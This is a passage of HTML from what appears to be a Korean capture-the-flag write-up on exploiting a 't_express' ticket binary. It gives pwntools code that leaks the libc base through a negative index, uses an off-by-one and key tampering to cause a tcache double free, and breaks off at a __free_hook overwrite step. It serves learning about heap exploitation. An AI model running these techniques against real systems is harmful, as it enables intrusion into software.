string\">'./t_express'</span><span class=\"token punctuation\">)</span>\nl <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span><span class=\"token string\">'./libc.so.6'</span><span class=\"token punctuation\">)</span>\np <span class=\"token operator\">=</span> process<span class=\"token punctuation\">(</span><span class=\"token string\">'./t_express'</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\"># p = remote('ctf.campus.theori.io', 7079)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">Buy</span><span class=\"token punctuation\">(</span>num<span class=\"token punctuation\">,</span> first<span class=\"token punctuation\">,</span> last<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"choice: \"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"1\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"(1/2): \"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>num<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>num<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"First name: \"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>first<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>first<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"Last name: \"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>last<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>last<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">View</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"choice: \"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"2\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"Index of ticket: \"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\"># leak (lib_base)</span>\n    <span class=\"token keyword\">if</span> idx <span class=\"token operator\">&lt;</span> <span class=\"token number\">0</span><span class=\"token punctuation\">:</span>\n        log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">\"|name |\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        lib_base <span class=\"token operator\">=</span> u64<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">9</span><span class=\"token punctuation\">:</span><span class=\"token operator\">-</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>ljust<span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'\\x00'</span><span class=\"token punctuation\">)</span>\n                       <span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">0x83</span> <span class=\"token operator\">-</span> l<span class=\"token punctuation\">.</span>sym<span class=\"token punctuation\">[</span><span class=\"token string\">'_IO_2_1_stderr_'</span><span class=\"token punctuation\">]</span>\n        log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span><span class=\"token string\">\"lib_base : \"</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>lib_base<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">return</span> lib_base\n    <span class=\"token keyword\">else</span><span class=\"token punctuation\">:</span>\n        log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">\"==========================\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">\"==========================\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">Use</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">,</span> num<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"choice: \"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"3\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"Index of ticket: \"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"(1/2/3/4): \"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>num<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>num<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">_free</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span><span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        Use<span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n    Use<span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span>\n    Use<span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span></code></pre></div>\n<h2 id=\"라이브러리-주소-노출\" style=\"position:relative;\"><a href=\"#%EB%9D%BC%EC%9D%B4%EB%B8%8C%EB%9F%AC%EB%A6%AC-%EC%A3%BC%EC%86%8C-%EB%85%B8%EC%B6%9C\" aria-label=\"라이브러리 주소 노출 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>라이브러리 주소 노출</h2>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">def</span> <span class=\"token function\">View</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"choice: \"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"2\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>sendafter<span class=\"token punctuation\">(</span><span class=\"token string\">\"Index of ticket: \"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>idx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\"># leak (lib_base)</span>\n    <span class=\"token keyword\">if</span> idx <span class=\"token operator\">&lt;</span> <span class=\"token number\">0</span><span class=\"token punctuation\">:</span>\n        log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">\"|name |\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        lib_base <span class=\"token operator\">=</span> u64<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">9</span><span class=\"token punctuation\">:</span><span class=\"token operator\">-</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>ljust<span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'\\x00'</span><span class=\"token punctuation\">)</span>\n                       <span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">0x83</span> <span class=\"token operator\">-</span> l<span class=\"token punctuation\">.</span>sym<span class=\"token punctuation\">[</span><span class=\"token string\">'_IO_2_1_stderr_'</span><span class=\"token punctuation\">]</span>\n        log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span><span class=\"token string\">\"lib_base : \"</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>lib_base<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">return</span> lib_base\n    <span class=\"token keyword\">else</span><span class=\"token punctuation\">:</span>\n        log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">\"==========================\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        log<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">\"==========================\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 480px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 46.666666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABS0lEQVQoz43N2U7CQBiGYa6DSNdpp4MtHSgzlE6XaaerLAohoAd6K7KIy7kXbCCaeCQmb778J0/+lmp40HYYFySILAd33YEGkaybMvgjKAOgwWFLNYaW48aiLppZWwYdzZSBdSkkA1OD9ISh3aNB4kdcBpZiIMVA/8WS1nc8KprbMCtdMnaJr8Nr6cL/H2x7JQ15Wk4HlNl9QoLExkPLwarZvYzd0YxGWTG5Y2k+CnnAc8ISzw8xCVwyBsiRdPhbKt/HGSMsMGW8nJAg1qHdxWQwCinjfpwRlkg67GhQOicDJOnWlWp2NNhWdNWkrXG2yifTh8enxXrTzOez5ZIXeZznk8ViubmPOGecZ1WVVXU9m9p93HVd1Oth4gE0bEX8WDWv9c2HKF6K+sjFLkqes+KQiv1p81Nc7KvmPROHROzK+i1Ot6v155htvwBFVWpjXeXBvgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./20.png\"\n        title=\"./20.png\"\n        src=\"/static/7b89a7207699e7bce8d6152aea4f00ca/e85cb/20.png\"\n        srcset=\"/static/7b89a7207699e7bce8d6152aea4f00ca/e9ff0/20.png 180w,\n/static/7b89a7207699e7bce8d6152aea4f00ca/f21e7/20.png 360w,\n/static/7b89a7207699e7bce8d6152aea4f00ca/e85cb/20.png 480w\"\n        sizes=\"(max-width: 480px) 100vw, 480px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>라이브러리 주소</p>\n<h2 id=\"off-by-one을-바탕으로-ticket_type-0으로-변경\" style=\"position:relative;\"><a href=\"#off-by-one%EC%9D%84-%EB%B0%94%ED%83%95%EC%9C%BC%EB%A1%9C-ticket_type-0%EC%9C%BC%EB%A1%9C-%EB%B3%80%EA%B2%BD\" aria-label=\"off by one을 바탕으로 ticket_type 0으로 변경 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>off-by-one을 바탕으로 ticket_type 0으로 변경</h2>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">Buy<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"AAAA\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"BBBBBBBB\"</span><span class=\"token punctuation\">)</span>\nBuy<span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"AAAA\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"BBBB\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 35%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABLElEQVQY033Ly26CQABAUf6j5T0wQCMwwzCiQ6K0VktKtFgVRMrTR+P/f0BT00VXJndxN4ebh5MhDn22wJRZNhIUWwKu6w8t2xdURwQuwthBWNSQAtEAU1lHkoYsB5uDiHufx68vcxbNCGPsOYI2elAAGY1t7AmqLgBITOPJgLwKJQApYwq0HmXNIZ6NIw7gtYSTwSip8/rcfl+PV0pGKAjX2WGdlbM4EVSDVw0R/MYr8DYmr2iyPuRkuuO9lUHevrKyr0+X5hLQMWGTouqyryZJNxL4k/8yBVVT4A2LJNVpnOZF0R7L/uzSgIbTqj+X7Snd5Xcx2YjeSieLj222r9pD0yEakPGkqLu8apef27vY34reUvfjdLcv6q5sT8gf0XB6aI5F3a822R38A0l/WddTYKzmAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./21.png\"\n        title=\"./21.png\"\n        src=\"/static/b50f827c72eb8ca9ebc4b0652af36b87/37523/21.png\"\n        srcset=\"/static/b50f827c72eb8ca9ebc4b0652af36b87/e9ff0/21.png 180w,\n/static/b50f827c72eb8ca9ebc4b0652af36b87/f21e7/21.png 360w,\n/static/b50f827c72eb8ca9ebc4b0652af36b87/37523/21.png 720w,\n/static/b50f827c72eb8ca9ebc4b0652af36b87/42d54/21.png 858w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>첫 번째 할당 페이지</p>\n<h2 id=\"첫-번째-해제후-키값-확인\" style=\"position:relative;\"><a href=\"#%EC%B2%AB-%EB%B2%88%EC%A7%B8-%ED%95%B4%EC%A0%9C%ED%9B%84-%ED%82%A4%EA%B0%92-%ED%99%95%EC%9D%B8\" aria-label=\"첫 번째 해제후 키값 확인 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>첫 번째 해제후 키값 확인</h2>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">_free<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 56.111111111111114%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACfklEQVQoz22S62oTURSFD/qr+AYmcz8nc+bMJclcMpnMpJk0SVNr76011tBSLYrgDx/HJ1BQ8HmKv515iswsSUHF0gUfbNiw2HuxyNHeLvLNbcTpDEGcoB36aKgWJN1GMkzh+T00NQHJcJEFHrod727WTQ9xlkFlHmTDRRDHcDpTkPn8CM92DzEYTRANMmT5FkTbh6QzhIMMXtiDalpQWhzCiUCt9t1OoSaCfgqtZaGpMXTCCE53C0R0DmrW3a2dZLc+fLGoz19f1aeLZe10wjoMBvXB3kl9uH9WT8bbtWxYtUStSqF8JRt8JemtlUz5SqHWStLpSm8lK6L0FmhGp9C6U5y8XGB5/QaXN+8R9vrYG07x6eodPi5vcHO0AKMmJKMFxTAhG+bdlbLxBwrd7IO0glelEZ6XPNgv94+W5cn5dXl28a7shKMySGblyeJteby4KSc7p6XKuqXKvJ8qc2//x7tVqLg1+OYtmU9GxXTcL+bHO8VwZ1oko7Roh1ERp1ERZ2Ex2OwVoh390phf6Gb8y3IvPAAkTj4/SbPvG//4tpENf2yQ5nYGSZhoDH00xgHU9hDy3SvsHhQKtWGYqcXtY7LWIPv6j/QLSbPvhEjzUSXbdtUcRVVzEleKl1cKFevg72HWKnNXlI9tg28SZk0fC++S/MVdErfzgRD5eQ7JEWhsRXg670Fp55ANDkk3IenrPnI0NV6vg1eZW1E+FpSPiWEOHpGH1Ah7kFsCStcHDfrQvC3odhfMsWG5BkybwfVZrbF195yKWbmgPCe6mTxsGEQhXNdHHo6wE02RTGcQ/RxOMoPdG4KJNrjr1FrLgcb8iomZYNaMUD560PA3HeMo7Cap4ggAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./22.png\"\n        title=\"./22.png\"\n        src=\"/static/d9b9cb609acae75f9490eda51c2f305e/37523/22.png\"\n        srcset=\"/static/d9b9cb609acae75f9490eda51c2f305e/e9ff0/22.png 180w,\n/static/d9b9cb609acae75f9490eda51c2f305e/f21e7/22.png 360w,\n/static/d9b9cb609acae75f9490eda51c2f305e/37523/22.png 720w,\n/static/d9b9cb609acae75f9490eda51c2f305e/42d54/22.png 858w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>해제 후 키 값 확인 페이지</p>\n<h2 id=\"키-변조후-doube-free-버그-발생\" style=\"position:relative;\"><a href=\"#%ED%82%A4-%EB%B3%80%EC%A1%B0%ED%9B%84-doube-free-%EB%B2%84%EA%B7%B8-%EB%B0%9C%EC%83%9D\" aria-label=\"키 변조후 doube free 버그 발생 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>키 변조후 Doube Free 버그 발생</h2>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span><span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    Use<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span>\n    Use<span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 20.555555555555554%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA4klEQVQI103Ga0+CUBgAYH5HU27vkXM4cAIkOCgosnU1LYIALyA6a6tVXxzr97c+tLU9Hx7h5jK/vX6MkvmQx5PkzrC5MmDUGTlBLGlMxueI+phF8sAUwWDDkFq8rxqIWnxcCtR90tyFOV6kxWp7eKnq1g1Cy/aqfF1kq2yZY2r1gMiISIiIgKXf6CIAkFgQ/aLnPahOMk/Tqmk2+3Y0jWI36I7vX7vjaXPwmH2mKBIgEeAP6qsSkEjQgg/EX3W/XmZv611X778ns5Jd3FdtVzantPw0rCvAU0Tif2aAQ918/gFLpjZ3KED1vQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./23.png\"\n        title=\"./23.png\"\n        src=\"/static/4b2302c2c455d5c10c5ce9bc9fe4af96/37523/23.png\"\n        srcset=\"/static/4b2302c2c455d5c10c5ce9bc9fe4af96/e9ff0/23.png 180w,\n/static/4b2302c2c455d5c10c5ce9bc9fe4af96/f21e7/23.png 360w,\n/static/4b2302c2c455d5c10c5ce9bc9fe4af96/37523/23.png 720w,\n/static/4b2302c2c455d5c10c5ce9bc9fe4af96/f0685/23.png 835w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>키 값 변조</p>\n<ul>\n<li>키 변조 및 메모리 해제를 두 번 진행한다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 25.555555555555554%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA8klEQVQY03XL226CMAAAUP7DhUpbKUQzJ5ZCFXEXzFAIYR03JxcRZMv+/wP24N6WJef1SP7Lo2PZ3t4L4l1QhMzPiSUwjebM85ab3WLNdcp0aumUa8Zs4Y7XIeQHhe/J/VqCD0JZCkzDJC766tqdWs5sk7IyOxV5GQaxjLURUu+QOkKqDCdAQTcyUiVopjJLsXEoRNE1Xd8M283zyt4O7Wdf91X6oZIZQGSMtRsw0X9hTYI0AaaAhv8aiaxqjueOOe7c5Fl5zuo2eEsUdQoQAVj7S4JmDqwc0jB6z+vLtR2+V+6TYTnVZWj6r/RYQjKV/8k/N8FDn/TTHEsAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./24.png\"\n        title=\"./24.png\"\n        src=\"/static/2cabb6f36d70a3b73419a11b9c6fd818/37523/24.png\"\n        srcset=\"/static/2cabb6f36d70a3b73419a11b9c6fd818/e9ff0/24.png 180w,\n/static/2cabb6f36d70a3b73419a11b9c6fd818/f21e7/24.png 360w,\n/static/2cabb6f36d70a3b73419a11b9c6fd818/37523/24.png 720w,\n/static/2cabb6f36d70a3b73419a11b9c6fd818/79e48/24.png 865w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>Double Free Bug</p>\n<ul>\n<li>tcache_entry에 총 3개의 tcache가 생긴 것을 확인할 수 있으며</li>\n<li>Forward Point가 자기 자신을 가리키는 상태 즉, Double Free가 발생하였다.</li>\n</ul>\n<h2 id=\"__free_hook-overwrite\" style=\"position:relative;\"><a href=\"#__free_hook-overwrite\" aria-label=\"__free_hook overwrite permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 